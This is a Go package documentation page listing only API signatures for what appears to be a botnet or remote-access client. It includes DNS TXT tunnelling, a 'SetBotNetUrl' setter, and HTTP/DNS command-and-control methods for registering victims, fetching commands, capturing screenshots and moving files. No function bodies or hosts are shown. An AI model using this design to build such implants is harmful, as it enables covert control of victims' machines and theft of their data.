wrapper

package
v0.0.0-...-fd1379f Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 17, 2016 License: GPL-3.0 Imports: 15 Imported by: 0

Documentation

Index

Constants

View Source
const (
	GET_REQUEST                     = "GET"
	POST_REQUEST                    = "POST"
	INTERNET_DEFAULT_HTTP_PORT      = 80
	INTERNET_DEFAULT_HTTPS_PORT     = 443
	WINHTTP_OPTION_PROXY            = 38
	WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
	WINHTTP_ADDREQ_FLAG_ADD         = 0x20000000
)

Variables

View Source
var (
	COUNT_SUBDOMEN = 2
	SIZE_PACKET    = 53

	BAD_REQUEST string = "BAD_REQUEST"
)

Functions

func DnsSendData

func DnsSendData(sendData []string) (response []byte, err error)

Отправляет данные на DNS через дефолтный net.LookupTXT получает ответ как TXT запись по запрошенному доменному имени

func FormationData

func FormationData(mainPartRequest string, data []byte) (arrayData []string)

func GetUrlArrayLen

func GetUrlArrayLen() (ret int)

func InitSession

func InitSession() (resp int)

Инициализация сессии

func OutResponse

func OutResponse(nameCommand string, data []byte, code int, text []byte)

Дебаг

func SetBotNetUrl

func SetBotNetUrl(num int)

func SetDnsURL

func SetDnsURL(dns_name string)

func SetSessionProxyFromIE

func SetSessionProxyFromIE(hSession uintptr)

Установка системного прокси

func SetUrlAndPortArrays

func SetUrlAndPortArrays(url_array []string, port_array []int)

func SetWinHttpTimeout

func SetWinHttpTimeout(array []int)

func WinHttpAddRequestHeaders

func WinHttpAddRequestHeaders(hRequest uintptr, headers string, flag int)

func WinHttpCloseHandle

func WinHttpCloseHandle(hHandle uintptr)

func WinHttpConnect

func WinHttpConnect(hSession uintptr, url string, port int) (resp uintptr)

func WinHttpGetIEProxyConfigForCurrentUser

func WinHttpGetIEProxyConfigForCurrentUser(lpIeProxy *winHttpIEProxyConfig) (result int)

func WinHttpOpen

func WinHttpOpen(useragent string) (resp uintptr)

func WinHttpOpenRequest

func WinHttpOpenRequest(hConnect uintptr, method string, uri string) (resp uintptr)

func WinHttpQueryDataAvailable

func WinHttpQueryDataAvailable(hRequest uintptr, dwSize *uint32)

func WinHttpReadData

func WinHttpReadData(hRequest uintptr, buf []byte, dwSize uint32, dwDownloaded *uint32)

func WinHttpReceiveResponse

func WinHttpReceiveResponse(hRequest uintptr) (resp uintptr)

func WinHttpSendRequest

func WinHttpSendRequest(hRequest uintptr, optional []byte, optional_len int) (resp uintptr)

func WinHttpSetOption

func WinHttpSetOption(hSession uintptr, option uintptr, buffer uintptr, buffersize uintptr)

func WinHttpSetTimeOut

func WinHttpSetTimeOut(hSession uintptr, dwResolveTimeout, dwConnectTimeout, dwSendTimeout, dwReceiveTimeout int) (response uintptr)

Types

type DnsMessageExchange

type DnsMessageExchange struct{}

func (DnsMessageExchange) ApiDownloadFile

func (dnsMessageExchange DnsMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)

func (DnsMessageExchange) ApiGetCommand

func (dnsMessageExchange DnsMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)

func (DnsMessageExchange) ApiOutputCommand

func (dnsMessageExchange DnsMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)

func (DnsMessageExchange) ApiRegister

func (dnsMessageExchange DnsMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)

func (DnsMessageExchange) ApiScreenshot

func (dnsMessageExchange DnsMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)

func (DnsMessageExchange) ApiUploadFile

func (dnsMessageExchange DnsMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)

type HttpMessageExchange

type HttpMessageExchange struct{}

func (HttpMessageExchange) ApiDownloadFile

func (httpMessageExchange HttpMessageExchange) ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)

func (HttpMessageExchange) ApiGetCommand

func (httpMessageExchange HttpMessageExchange) ApiGetCommand(uuid string) (code int, resp string, resp2 string)

func (HttpMessageExchange) ApiOutputCommand

func (httpMessageExchange HttpMessageExchange) ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)

func (HttpMessageExchange) ApiRegister

func (httpMessageExchange HttpMessageExchange) ApiRegister(name string, info []byte) (code int, resp string)

Регистрация

func (HttpMessageExchange) ApiScreenshot

func (httpMessageExchange HttpMessageExchange) ApiScreenshot(uuid string, output []byte) (code int, resp []byte)

func (HttpMessageExchange) ApiUploadFile

func (httpMessageExchange HttpMessageExchange) ApiUploadFile(uuid, pathDir string) (code int, resp []byte)

type JsonCommand

type JsonCommand struct {
	Command       string
	Command_param string
}

type JsonFile

type JsonFile struct {
	Data     string
	Filename string
}

type JsonToken

type JsonToken struct {
	Token string
}

Структры для парса джсона

type MessageExchange

type MessageExchange interface {
	ApiRegister(name string, info []byte) (code int, resp string)
	ApiOutputCommand(uuid string, command string, output []byte) (code int, resp []byte)
	ApiGetCommand(uuid string) (code int, resp string, resp2 string)
	ApiScreenshot(uuid string, output []byte) (code int, resp []byte)
	ApiDownloadFile(uuid, fileName string, fileBytes []byte) (code int, resp []byte)
	ApiUploadFile(uu_id, pathDir string) (code int, resp []byte)
}

Интерфейс для протоколов

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL